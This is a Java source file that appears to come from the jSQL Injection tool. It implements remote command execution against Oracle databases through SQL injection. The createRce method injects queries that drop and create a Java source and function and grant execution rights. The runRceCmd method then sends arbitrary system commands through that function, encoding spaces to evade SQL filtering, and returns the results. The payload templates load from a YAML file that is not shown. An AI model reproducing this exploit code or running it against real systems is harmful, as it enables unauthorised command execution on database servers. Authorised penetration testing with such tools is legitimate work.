ExploitOracle.java

package com.jsql.model.accessible.vendor;

import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.ExploitMode;
import com.jsql.model.accessible.ResourceAccess;
import com.jsql.model.accessible.vendor.oracle.ModelYamlOracle;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.injection.vendor.model.VendorYaml;
import com.jsql.util.LogLevelUtil;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.yaml.snakeyaml.Yaml;

import java.util.Arrays;
import java.util.UUID;

public class ExploitOracle {

    /**
     * Log4j logger sent to view.
     */
    private static final Logger LOGGER = LogManager.getRootLogger();
    private final InjectionModel injectionModel;
    private final ModelYamlOracle modelYaml;

    private static final String RCE_JAVA_UTIL_SRC = "RCE_JAVA_UTIL_SRC";
    private static final String RCE_JAVA_UTIL_FUNC = "RCE_JAVA_UTIL_FUNC";

    public ExploitOracle(InjectionModel injectionModel) {
        this.injectionModel = injectionModel;
        var yaml = new Yaml();
        this.modelYaml = yaml.loadAs(
            injectionModel.getMediatorVendor().getOracle().instance().getModelYaml().getResource().getExploit(),
            ModelYamlOracle.class
        );
    }

    public void createRce(ExploitMode exploitMode) throws JSqlException {
        if (!Arrays.asList(ExploitMode.AUTO, ExploitMode.QUERY_BODY).contains(exploitMode)) {
            LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Exploit method not implemented, using query body instead");
        }

        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getDropSource(),
            ExploitOracle.RCE_JAVA_UTIL_SRC
        ), "body#drop-src");
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getDropFunc(),
            ExploitOracle.RCE_JAVA_UTIL_FUNC
        ), "body#drop-src");
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getAddSource(),
            ExploitOracle.RCE_JAVA_UTIL_SRC,
            ExploitOracle.RCE_JAVA_UTIL_SRC
        ), "body#add-src");
        this.injectionModel.injectWithoutIndex(String.format(
            this.modelYaml.getUdf().getAddFunc(),
            ExploitOracle.RCE_JAVA_UTIL_FUNC,
            ExploitOracle.RCE_JAVA_UTIL_SRC
        ), ResourceAccess.ADD_FUNC);
        this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getGrant(), "body#grant-exec");
        var nameDatabase = this.injectionModel.getResourceAccess().getResult(String.format(
            this.modelYaml.getUdf().getConfirm(),
            VendorYaml.TRAIL_SQL,
            ExploitOracle.RCE_JAVA_UTIL_FUNC
        ), ResourceAccess.BODY_CONFIRM);
        if (!nameDatabase.contains(ExploitOracle.RCE_JAVA_UTIL_FUNC)) {
            LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: java function not found");
            return;
        }
        LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE successful: java function found");

        var request = new Request();
        request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_ORACLE);
        request.setParameters(null, null);
        this.injectionModel.sendToViews(request);
    }

    public String runRceCmd(String command, UUID uuidShell) {
        String result;
        try {
            result = this.injectionModel.getResourceAccess().getResult(String.format(
                this.modelYaml.getUdf().getRunCmd(),
                ExploitOracle.RCE_JAVA_UTIL_FUNC,
                command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
                VendorYaml.TRAIL_SQL
            ), ResourceAccess.UDF_RUN_CMD);
        } catch (JSqlException e) {
            result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
        }
        var request = new Request();
        request.setMessage(Interaction.GET_TERMINAL_RESULT);
        request.setParameters(uuidShell, result);
        this.injectionModel.sendToViews(request);
        return result;
    }
}